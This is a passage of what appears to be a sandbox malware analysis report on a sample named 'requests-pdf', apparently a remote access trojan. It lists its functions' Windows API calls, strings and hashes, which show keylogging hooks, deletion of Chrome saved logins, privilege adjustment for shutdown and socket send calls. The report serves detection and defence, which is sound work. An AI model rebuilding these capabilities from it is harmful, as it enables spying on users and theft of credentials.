                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F2B
                                                    • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 004514C3
                                                    • IsValidCodePage.KERNEL32(00000000), ref: 0045151E
                                                    • IsValidLocale.KERNEL32(?,00000001), ref: 0045152D
                                                    • GetLocaleInfoW.KERNEL32(?,00001001,<D,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00451575
                                                    • GetLocaleInfoW.KERNEL32(?,00001002,00000000,00000040), ref: 00451594
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                    • String ID: <D$<D$<D
                                                    • API String ID: 745075371-3495170934
                                                    • Opcode ID: 5c8e94395c66df2641350def7a129c2a5847567c9c00908226c609ff7e549d11
                                                    • Instruction ID: fdda48fcf8ef828b158f806230e01f9d82b9b72a6df542884d0e4dc3e0683d2c
                                                    • Opcode Fuzzy Hash: 5c8e94395c66df2641350def7a129c2a5847567c9c00908226c609ff7e549d11
                                                    • Instruction Fuzzy Hash: 5A51D571900205ABEF10EFA5CC40BBF73B8AF05702F14056BFD11EB262E7789A488769
                                                    Function 0041B42F Relevance: 13.6, APIs: 9, Instructions: 105fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B489
                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B4BB
                                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B529
                                                    • DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B536
                                                      • Part of subcall function 0041B42F: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B50C
                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B561
                                                    • RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B568
                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,00473EE8,00000000), ref: 0041B570
                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,00473EE8,00000000), ref: 0041B583
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                    • String ID:
                                                    • API String ID: 2341273852-0
                                                    • Opcode ID: 38605e05b284b3287545d71b9912fe11a1e5e192bb535f2a18b99cb8ec032d5d
                                                    • Instruction ID: e81c2b0307560c21eb772b723951cbad4d8c7a866ea933437d0d5d39764c0eb1
                                                    • Opcode Fuzzy Hash: 38605e05b284b3287545d71b9912fe11a1e5e192bb535f2a18b99cb8ec032d5d
                                                    • Instruction Fuzzy Hash: 0031627184921CAACB20D7B1AC89ADA77BCAF04309F4405EBF505D3181EB799AC5CE69
                                                    Function 024EB696 Relevance: 13.6, APIs: 9, Instructions: 105fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileW.KERNEL32(?,?), ref: 024EB6F0
                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 024EB722
                                                    • SetFileAttributesW.KERNEL32(?,00000080), ref: 024EB790
                                                    • DeleteFileW.KERNEL32(?), ref: 024EB79D
                                                      • Part of subcall function 024EB696: RemoveDirectoryW.KERNEL32(?), ref: 024EB773
                                                    • FindClose.KERNEL32(00000000), ref: 024EB7C8
                                                    • RemoveDirectoryW.KERNEL32(00000000), ref: 024EB7CF
                                                    • GetLastError.KERNEL32 ref: 024EB7D7
                                                    • FindClose.KERNEL32(00000000), ref: 024EB7EA
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
                                                    • String ID:
                                                    • API String ID: 2341273852-0
                                                    • Opcode ID: 5c62029e558c151831161c7648b51b3c9b0b43d71b7e0bfa42328357c6cc7f75
                                                    • Instruction ID: b6033c0e618cfc82a4ad88a2624375f367eec566d5ac8b72be304504614b2eea
                                                    • Opcode Fuzzy Hash: 5c62029e558c151831161c7648b51b3c9b0b43d71b7e0bfa42328357c6cc7f75
                                                    • Instruction Fuzzy Hash: 4E31507280821C9ADF20DBB0DC89ADE776CBF45305F0409EAF506D2591EB759A84CE29
                                                    Function 00418C69 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 245fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileW.KERNEL32(00000000,?), ref: 00418EBF
                                                    • FindNextFileW.KERNEL32(00000000,?,?), ref: 00418F8B
                                                      • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B633
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$Find$CreateFirstNext
                                                    • String ID: @CG$XCG$`HG$`HG$>G
                                                    • API String ID: 341183262-3780268858
                                                    • Opcode ID: 370f4d1bb48917f4102406aff739b7f4752134e9ba6bc41bde7cf39fc8db8d8c
                                                    • Instruction ID: 861c71bda04042c44626cba1538e35c757a91b728f0af2478fb4c1063bb13cc5
                                                    • Opcode Fuzzy Hash: 370f4d1bb48917f4102406aff739b7f4752134e9ba6bc41bde7cf39fc8db8d8c
                                                    • Instruction Fuzzy Hash: B08141315042405BC314FB62C892EEFB3A5AFD1718F50493FF946671E2EF389A49C69A
                                                    Function 004099E4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00409A01
                                                    • SetWindowsHookExA.USER32(0000000D,004099D0,00000000), ref: 00409A0F
                                                    • GetLastError.KERNEL32 ref: 00409A1B
                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00409A6B
                                                    • TranslateMessage.USER32(?), ref: 00409A7A
                                                    • DispatchMessageA.USER32(?), ref: 00409A85
                                                    Strings
                                                    • Keylogger initialization failure: error , xrefs: 00409A32
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                    • String ID: Keylogger initialization failure: error
                                                    • API String ID: 3219506041-952744263
                                                    • Opcode ID: 10065da0f80e2b1588f186909b8751ab17816e81d90ef01b858d99eb9022e310
                                                    • Instruction ID: 76b292cdb4e6355f9a4176d1f10d626d2d11be3de55f9aee7ae49bf60faff0c2
                                                    • Opcode Fuzzy Hash: 10065da0f80e2b1588f186909b8751ab17816e81d90ef01b858d99eb9022e310
                                                    • Instruction Fuzzy Hash: 201194716043015BC710AB7AAC4996B77ECAB94B15B10057FFC45D2291FB34DE01CBAB
                                                    Function 024DB59C Relevance: 12.1, APIs: 8, Instructions: 145fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileA.KERNEL32(00000000,?,00000000,00465F1C), ref: 024DB61B
                                                    • FindClose.KERNEL32(00000000), ref: 024DB635
                                                    • FindNextFileA.KERNEL32(00000000,?), ref: 024DB758
                                                    • FindClose.KERNEL32(00000000), ref: 024DB77E
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Find$CloseFile$FirstNext
                                                    • String ID:
                                                    • API String ID: 1164774033-0
                                                    • Opcode ID: 5b02bdbcf4a37e1aca2b174e4fdcca7b9d7d4ca2704527aaaf21edbe9df3a355
                                                    • Instruction ID: 62f0447a876ea7471a2b87fc5b8099b2d758180cf9c111cdf5c569246fb8d10e
                                                    • Opcode Fuzzy Hash: 5b02bdbcf4a37e1aca2b174e4fdcca7b9d7d4ca2704527aaaf21edbe9df3a355
                                                    • Instruction Fuzzy Hash: 0C519031A0420A5BCB15FB61DC69EEE777AFF50300F5040AFE906A2192EFB05A46CE55
                                                    Function 00412F45 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 391registrylibraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,00000001), ref: 0041301A
                                                    • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000001), ref: 00413026
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    • LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 004131ED
                                                    • GetProcAddress.KERNEL32(00000000), ref: 004131F4
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AddressCloseCreateLibraryLoadProcsend
                                                    • String ID: SHDeleteKeyW$Shlwapi.dll
                                                    • API String ID: 2127411465-314212984
                                                    • Opcode ID: 4bfa0ab92cfe4c7e273a593f9c438f6144fcaff52e32c91ef8c2f101195a9e69
                                                    • Instruction ID: cc67afc49b78d61a2372e1362dfc4f5d4a672f2d1b5b468e2109e7b1f18a6fb5
                                                    • Opcode Fuzzy Hash: 4bfa0ab92cfe4c7e273a593f9c438f6144fcaff52e32c91ef8c2f101195a9e69
                                                    • Instruction Fuzzy Hash: 4FB1B671A043006BC614BA76CC979BE76989F94718F40063FF946B31E2EF7C9A4486DB
                                                    Function 024E8ED0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 245fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileW.KERNEL32(00000000,?), ref: 024E9126
                                                      • Part of subcall function 024EB881: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,024D3D5A,00465324), ref: 024EB89A
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CreateFindFirst
                                                    • String ID: @CG$XCG$`HG$`HG$>G
                                                    • API String ID: 41799849-3780268858
                                                    • Opcode ID: 370f4d1bb48917f4102406aff739b7f4752134e9ba6bc41bde7cf39fc8db8d8c
                                                    • Instruction ID: 65335c8a7d67c9d434e075606cdb06fd9c772322625902658f44eb37cb4c4644
                                                    • Opcode Fuzzy Hash: 370f4d1bb48917f4102406aff739b7f4752134e9ba6bc41bde7cf39fc8db8d8c
                                                    • Instruction Fuzzy Hash: 7C8140315082415BD719FB26D8B4EEF73AAAFD1300F40892FE95A572D1EF709A09CE52
                                                    Function 0040E54F Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 88sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 004124B7: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 004124D7
                                                      • Part of subcall function 004124B7: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 004124F5
                                                      • Part of subcall function 004124B7: RegCloseKey.ADVAPI32(00000000), ref: 00412500
                                                    • Sleep.KERNEL32(00000BB8), ref: 0040E603
                                                    • ExitProcess.KERNEL32 ref: 0040E672
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseExitOpenProcessQuerySleepValue
                                                    • String ID: 5.3.0 Pro$override$pth_unenc$BG
                                                    • API String ID: 2281282204-3981147832
                                                    • Opcode ID: e7420bd81adcf7ecaeb63c441a7eb2a496d40f418d65372005f5d4e07d0bafb2
                                                    • Instruction ID: 346becae97c590b24629de205d3f766cc2ad037e5fc603921d36f10068cff0f4
                                                    • Opcode Fuzzy Hash: e7420bd81adcf7ecaeb63c441a7eb2a496d40f418d65372005f5d4e07d0bafb2
                                                    • Instruction Fuzzy Hash: 6B21A131B0030027C608767A891BA6F359A9B91719F90443EF805A76D7EE7D8A6083DF
                                                    Function 0040B21B Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 48fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040B257
                                                    • GetLastError.KERNEL32 ref: 0040B261
                                                    Strings
                                                    • UserProfile, xrefs: 0040B227
                                                    • [Chrome StoredLogins not found], xrefs: 0040B27B
                                                    • [Chrome StoredLogins found, cleared!], xrefs: 0040B287
                                                    • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040B222
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: DeleteErrorFileLast
                                                    • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                    • API String ID: 2018770650-1062637481
                                                    • Opcode ID: b5e309dbdaf0aeabe7af2cd1639cb477138ee585283f82b93ad88acdd4edf375
                                                    • Instruction ID: 236ee74dc97b4bdf00ef4875347123a6b81b21ae8e03a402b83ae8c28ff1bd46
                                                    • Opcode Fuzzy Hash: b5e309dbdaf0aeabe7af2cd1639cb477138ee585283f82b93ad88acdd4edf375
                                                    • Instruction Fuzzy Hash: 3001A23168410597CA0477B5ED6F8AE3624E921704F50017FF802731E2FF3A9A0586DE
                                                    Function 00416AB7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 32COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcess.KERNEL32(00000028,?), ref: 00416AC4
                                                    • OpenProcessToken.ADVAPI32(00000000), ref: 00416ACB
                                                    • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00416ADD
                                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00416AFC
                                                    • GetLastError.KERNEL32 ref: 00416B02
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                    • String ID: SeShutdownPrivilege
                                                    • API String ID: 3534403312-3733053543
                                                    • Opcode ID: e04eb0b34037921419aad719b93aaa051d7dc20f4e189cf25d4eb9764effedfd
                                                    • Instruction ID: c28276ca820f5d67da4083ad645d4fedab17ddc29f560671af9b7c8b6b4fa774
                                                    • Opcode Fuzzy Hash: e04eb0b34037921419aad719b93aaa051d7dc20f4e189cf25d4eb9764effedfd
                                                    • Instruction Fuzzy Hash: 25F0D4B5805229BBDB10ABA1EC4DEEF7EBCEF05656F100061B805E2192D6748A44CAB5
                                                    Function 00452F00 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: __floor_pentium4
                                                    • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                    • API String ID: 4168288129-2761157908
                                                    • Opcode ID: 66bc95b00190c33de1dc88885a8d3c2e2540cf288971a00217ef3550ead5f7a6
                                                    • Instruction ID: 57cc16b57fb9b80973019f24a4c29afa226e887048a240d5689d112d8919aadd
                                                    • Opcode Fuzzy Hash: 66bc95b00190c33de1dc88885a8d3c2e2540cf288971a00217ef3550ead5f7a6
                                                    • Instruction Fuzzy Hash: 08C26F72D046288FDB25CE28DD407EAB7B5EB44346F1441EBD84DE7242E778AE898F44
                                                    Function 004089A9 Relevance: 9.3, APIs: 6, Instructions: 288fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __EH_prolog.LIBCMT ref: 004089AE
                                                      • Part of subcall function 004041F1: socket.WS2_32(?,00000001,00000006), ref: 00404212
                                                      • Part of subcall function 0040428C: connect.WS2_32(?,?,?), ref: 004042A5
                                                    • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00408A8D
                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 00408AE0
                                                    • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00408AF7
                                                      • Part of subcall function 00404468: WaitForSingleObject.KERNEL32(?,00000000,00401943,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000), ref: 0040450E
                                                      • Part of subcall function 00404468: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00475B70,00473EE8,00000000,?,?,?,?,?,00401943), ref: 0040453C
                                                      • Part of subcall function 004047EB: WaitForSingleObject.KERNEL32(?,000000FF,00475B70,?,?,00000000,00475B70,004017F3), ref: 004047FD
                                                      • Part of subcall function 004047EB: SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404808
                                                      • Part of subcall function 004047EB: CloseHandle.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404811
                                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 00408DA1
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Find$CloseEventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsendsocket
                                                    • String ID:
                                                    • API String ID: 4043647387-0
                                                    • Opcode ID: 09a69e0303e81d48d1e7444200da9c76687e86ed7c9a89389c8c98f32268c2c3
                                                    • Instruction ID: d7705bc86650fd6632c5f082d335fbcd32bd3fe840799e2454ee74f5ab9ae988
                                                    • Opcode Fuzzy Hash: 09a69e0303e81d48d1e7444200da9c76687e86ed7c9a89389c8c98f32268c2c3
                                                    • Instruction Fuzzy Hash: 11A15C729001089ACB14EBA1DD92AEDB778AF54318F10427FF546B71D2EF385E498B98
                                                    Function 00419BC4 Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,?,?,0041981A,00000000,00000000), ref: 00419BCD
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,?,0041981A,00000000,00000000), ref: 00419BE2
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419BEF
                                                    • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,?,0041981A,00000000,00000000), ref: 00419BFA
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419C0C
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,0041981A,00000000,00000000), ref: 00419C0F
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$CloseHandle$Open$ManagerStart
                                                    • String ID:
                                                    • API String ID: 276877138-0
                                                    • Opcode ID: 413273253f7cbae0f6bd9debfc52a3b8d95171ad4a984208ec06c12d82ce07c5
                                                    • Instruction ID: 9ab78235182221d9a13884b701025ebbd4d22640777282bd149d85cf0e5c5631
                                                    • Opcode Fuzzy Hash: 413273253f7cbae0f6bd9debfc52a3b8d95171ad4a984208ec06c12d82ce07c5
                                                    • Instruction Fuzzy Hash: 46F0E971404314AFD2115B31FC88DBF2AACEF85BA2B00043AF54193191CF68CD4595B9
                                                    Function 004158B9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97libraryloadershutdownCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00416AB7: GetCurrentProcess.KERNEL32(00000028,?), ref: 00416AC4
                                                      • Part of subcall function 00416AB7: OpenProcessToken.ADVAPI32(00000000), ref: 00416ACB
                                                      • Part of subcall function 00416AB7: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00416ADD
                                                      • Part of subcall function 00416AB7: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00416AFC
                                                      • Part of subcall function 00416AB7: GetLastError.KERNEL32 ref: 00416B02
                                                    • ExitWindowsEx.USER32(00000000,00000001), ref: 0041595B
                                                    • LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 00415970
                                                    • GetProcAddress.KERNEL32(00000000), ref: 00415977
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                                    • String ID: PowrProf.dll$SetSuspendState
                                                    • API String ID: 1589313981-1420736420
                                                    • Opcode ID: 760194600065aa930d76b91875d7e389ee81a04dff370ffb8731a3af4adaf024
                                                    • Instruction ID: 94bd0be5b4d635cf3270abd21b93e0cba208aed3fdadf5553bbce7524c8ebf13
                                                    • Opcode Fuzzy Hash: 760194600065aa930d76b91875d7e389ee81a04dff370ffb8731a3af4adaf024
                                                    • Instruction Fuzzy Hash: 7D2150B0604741E6CA14F7B19856AEF225A9F80748F40883FB402A72D2EF7CDC89865E
                                                    Function 004511E3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,00451502,?,00000000), ref: 0045127C
                                                    • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,00451502,?,00000000), ref: 004512A5
                                                    • GetACP.KERNEL32(?,?,00451502,?,00000000), ref: 004512BA
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InfoLocale
                                                    • String ID: ACP$OCP
                                                    • API String ID: 2299586839-711371036
                                                    • Opcode ID: 3e26eff85c0b030be7827b2fbb91fc7191fc27f2fce1bf15d40cdf94764cc661
                                                    • Instruction ID: bcb6c1b5649eca6e102b6d6ca9fa22aa61ab34f591545d84575f60c76f210f03
                                                    • Opcode Fuzzy Hash: 3e26eff85c0b030be7827b2fbb91fc7191fc27f2fce1bf15d40cdf94764cc661
                                                    • Instruction Fuzzy Hash: 50212722600100A6D7348F54D900BAB73A6AB40B66F1645E6FD09E7322F736DD49C799
                                                    Function 0252144A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,02521769,?,00000000), ref: 025214E3
